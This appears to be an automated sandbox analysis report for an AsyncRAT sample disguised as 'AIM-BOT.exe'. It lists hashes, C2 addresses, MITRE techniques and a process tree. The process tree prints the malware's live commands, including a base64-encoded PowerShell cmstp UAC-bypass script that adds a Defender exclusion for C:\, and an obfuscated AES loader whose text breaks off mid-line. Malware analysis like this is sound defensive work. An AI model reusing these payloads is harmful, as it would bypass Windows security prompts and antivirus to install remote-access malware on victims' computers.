asyncrat | 78d7258c03f6f988b20803982bdbea34f7b2a2089f81bd9ed9fcc14daedded48

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-12-2024 20:13

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General

Target

AIM-BOT.exe
Size

9.8MB
MD5

ac85a22feba5e3aa51dec6d867d54081
SHA1

94f8dd4ec1465289935b626bbf12d5fd6755f40a
SHA256

78d7258c03f6f988b20803982bdbea34f7b2a2089f81bd9ed9fcc14daedded48
SHA512

a0c227a996020e15aaee7b58a499711a29ea6f27002d5ebf3ea05a061688755903d191851cf68f159878b2b9ce3854e6c3b04ec6a3a41fd8d7e90fced4bed4a0
SSDEEP

49152:huSvYfx7jJWLuTtutUAesgLH36HcJNI/GjtPw8Ws89cU210W9zY/bsiJhWbzZmUm:8SYjJWLu

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:2101

87.120.113.125:55644

Mutex

E0GLVPl3iUqi

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/1948-130-0x0000000004ED0000-0x0000000004EE2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
38	1948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2020	powershell.exe
4724	powershell.exe
4556	powershell.exe
2052	powershell.exe
1948	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4928	AsyncRAT.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4268	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
2020	powershell.exe
2020	powershell.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4724	powershell.exe
4724	powershell.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4928	AsyncRAT.exe
4556	powershell.exe
4556	powershell.exe
2052	powershell.exe
2052	powershell.exe
1948	powershell.exe
1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	4724	powershell.exe
Token: SeDebugPrivilege	4268	taskkill.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeIncreaseQuotaPrivilege	2052	powershell.exe
Token: SeSecurityPrivilege	2052	powershell.exe
Token: SeTakeOwnershipPrivilege	2052	powershell.exe
Token: SeLoadDriverPrivilege	2052	powershell.exe
Token: SeSystemProfilePrivilege	2052	powershell.exe
Token: SeSystemtimePrivilege	2052	powershell.exe
Token: SeProfSingleProcessPrivilege	2052	powershell.exe
Token: SeIncBasePriorityPrivilege	2052	powershell.exe
Token: SeCreatePagefilePrivilege	2052	powershell.exe
Token: SeBackupPrivilege	2052	powershell.exe
Token: SeRestorePrivilege	2052	powershell.exe
Token: SeShutdownPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeSystemEnvironmentPrivilege	2052	powershell.exe
Token: SeRemoteShutdownPrivilege	2052	powershell.exe
Token: SeUndockPrivilege	2052	powershell.exe
Token: SeManageVolumePrivilege	2052	powershell.exe
Token: 33	2052	powershell.exe
Token: 34	2052	powershell.exe
Token: 35	2052	powershell.exe
Token: 36	2052	powershell.exe
Token: SeIncreaseQuotaPrivilege	2052	powershell.exe
Token: SeSecurityPrivilege	2052	powershell.exe
Token: SeTakeOwnershipPrivilege	2052	powershell.exe
Token: SeLoadDriverPrivilege	2052	powershell.exe
Token: SeSystemProfilePrivilege	2052	powershell.exe
Token: SeSystemtimePrivilege	2052	powershell.exe
Token: SeProfSingleProcessPrivilege	2052	powershell.exe
Token: SeIncBasePriorityPrivilege	2052	powershell.exe
Token: SeCreatePagefilePrivilege	2052	powershell.exe
Token: SeBackupPrivilege	2052	powershell.exe
Token: SeRestorePrivilege	2052	powershell.exe
Token: SeShutdownPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeSystemEnvironmentPrivilege	2052	powershell.exe
Token: SeRemoteShutdownPrivilege	2052	powershell.exe
Token: SeUndockPrivilege	2052	powershell.exe
Token: SeManageVolumePrivilege	2052	powershell.exe
Token: 33	2052	powershell.exe
Token: 34	2052	powershell.exe
Token: 35	2052	powershell.exe
Token: 36	2052	powershell.exe
Token: SeIncreaseQuotaPrivilege	2052	powershell.exe
Token: SeSecurityPrivilege	2052	powershell.exe
Token: SeTakeOwnershipPrivilege	2052	powershell.exe
Token: SeLoadDriverPrivilege	2052	powershell.exe
Token: SeSystemProfilePrivilege	2052	powershell.exe
Token: SeSystemtimePrivilege	2052	powershell.exe
Token: SeProfSingleProcessPrivilege	2052	powershell.exe
Token: SeIncBasePriorityPrivilege	2052	powershell.exe
Token: SeCreatePagefilePrivilege	2052	powershell.exe
Token: SeBackupPrivilege	2052	powershell.exe
Token: SeRestorePrivilege	2052	powershell.exe
Token: SeShutdownPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeSystemEnvironmentPrivilege	2052	powershell.exe
Token: SeRemoteShutdownPrivilege	2052	powershell.exe
Token: SeUndockPrivilege	2052	powershell.exe
Token: SeManageVolumePrivilege	2052	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4928	AsyncRAT.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4928	AsyncRAT.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2288 wrote to memory of 3884	2288	AIM-BOT.exe	83
PID 2288 wrote to memory of 3884	2288	AIM-BOT.exe	83
PID 2288 wrote to memory of 2376	2288	AIM-BOT.exe	84
PID 2288 wrote to memory of 2376	2288	AIM-BOT.exe	84
PID 3884 wrote to memory of 4928	3884	cmd.exe	87
PID 3884 wrote to memory of 4928	3884	cmd.exe	87
PID 2376 wrote to memory of 2224	2376	cmd.exe	88
PID 2376 wrote to memory of 2224	2376	cmd.exe	88
PID 2224 wrote to memory of 2020	2224	WScript.exe	89
PID 2224 wrote to memory of 2020	2224	WScript.exe	89
PID 2020 wrote to memory of 4020	2020	powershell.exe	93
PID 2020 wrote to memory of 4020	2020	powershell.exe	93
PID 4020 wrote to memory of 3120	4020	csc.exe	94
PID 4020 wrote to memory of 3120	4020	csc.exe	94
PID 2020 wrote to memory of 2768	2020	powershell.exe	95
PID 2020 wrote to memory of 2768	2020	powershell.exe	95
PID 2224 wrote to memory of 2328	2224	WScript.exe	119
PID 2224 wrote to memory of 2328	2224	WScript.exe	119
PID 2328 wrote to memory of 4556	2328	cmd.exe	121
PID 2328 wrote to memory of 4556	2328	cmd.exe	121
PID 2328 wrote to memory of 4556	2328	cmd.exe	121
PID 4556 wrote to memory of 2052	4556	powershell.exe	122
PID 4556 wrote to memory of 2052	4556	powershell.exe	122
PID 4556 wrote to memory of 2052	4556	powershell.exe	122
PID 4556 wrote to memory of 4488	4556	powershell.exe	126
PID 4556 wrote to memory of 4488	4556	powershell.exe	126
PID 4556 wrote to memory of 4488	4556	powershell.exe	126
PID 4488 wrote to memory of 1440	4488	WScript.exe	127
PID 4488 wrote to memory of 1440	4488	WScript.exe	127
PID 4488 wrote to memory of 1440	4488	WScript.exe	127
PID 1440 wrote to memory of 1948	1440	cmd.exe	129
PID 1440 wrote to memory of 1948	1440	cmd.exe	129
PID 1440 wrote to memory of 1948	1440	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\AIM-BOT.exe
"C:\Users\Admin\AppData\Local\Temp\AIM-BOT.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2288
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start AsyncRAT.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Users\Admin\AppData\Local\Temp\AsyncRAT.exe
    AsyncRAT.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:4928
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start 4698_output.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4698_output.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2020
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ohkkrtmx\ohkkrtmx.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4020
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E15.tmp" "c:\Users\Admin\AppData\Local\Temp\ohkkrtmx\CSCEDFA511ABD742B890F805F1BDE20D3.TMP"
        6⤵
        
        PID:3120
    - - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\ezckxsig.inf
        5⤵
        
        PID:2768
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2328
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Rr8+grcZJNGH203eeUxXpnDWX4hdpd2UTJfbowjN1dY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 